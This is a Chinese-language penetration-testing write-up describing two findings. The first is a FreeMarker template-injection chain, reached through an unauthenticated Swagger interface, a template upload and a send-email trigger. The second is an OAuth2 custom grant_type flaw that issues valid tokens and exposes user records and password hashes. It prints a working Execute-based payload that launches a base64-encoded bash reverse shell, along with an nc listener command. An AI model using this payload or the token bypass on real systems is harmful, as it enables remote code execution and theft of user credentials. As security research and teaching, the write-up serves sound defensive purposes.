前言

在最近的项目中遇到了几个个人认为比较有意思的漏洞，因此分享一下。

漏洞

这个漏洞是freemarker模板注入漏洞，也是无意中发现它的利用姿势的。

在测试目标站点时，先发现了swagger未授权访问漏洞。

这里使用Apifox去管理系统接口。

发现存在一个功能点是用来管理模板的，模板文件后缀是ftl，因此一下子就想到了freemarker模板注入漏洞。

`注：此截图来源于其他漏洞点进的后台，这里不展开。

很明显，这里只是可以去上传一个模板ftl文件，可能不会让ftl文件里的恶意代码去执行。因此需要找到一个漏洞触发点去执行该代码。

此漏洞可以参考往期发的文章，于2023年10月30日分享的技术文章

2023年10月创新点成果分享.pdf

很快便发现了一个疑似能触发该漏洞的接口了。

在发送邮件接口处，点击自动生成，发现json请求数据里面包含一个字段为templcode

而在上传模板文件里面，也存在一个字段为templcode的参数

两个接口存在关联性，那就开始尝试利用了。

先准备一个ftl文件，文件内容为以下代码：

1	<#assign value="freemarker.template.utility.Execute"?new()>${value("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4NiAwPiYx}\|{base64,-d}\|{bash,-i}")}

其中base64字符串为bash反弹shell的命令，然后vps（云主机）上开启nc监听

1	nc -lvnp 8086

然后利用上传接口将该模板文件上传到服务器上

在发送邮件的接口位置，将templcode的值设置为截图里面的test

然后发包，大概一两秒服务器上就收到了shell权限

在对其他资产进行渗透测试时发现了某系统为gitee上的开源项目，star为1.1k

其认证和授权使用的是Spring Security Oauth2.1

在Oauth2.0中，存在四种授权模式，这里只简单提一下

简单的说，由于该框架自定义了一个grant_type的转换器，且后端未做严格的权限校验，导致了该jwt凭证权限有效。

即这里判断了判断了grant_type的值是否是某个值，如果是直接走OAuth2ClientCredentialsAuthenticationToken的逻辑。

该代码块的作用是Authentication用于 OAuth 2.0 客户端凭据授权

即直接给你返回一个jwt有效凭证。

利用该grant_type获取到access_token凭证

通过该access_token访问用户列表接口，获取到后台用户的信息

最后通过cmd5查询得到该明文密码，即可进入后台。或者是利用添加用户的接口，直接进入网站后台。

多关注接口和接口之间的关联性，展开联想，就能得到意想不到的收获。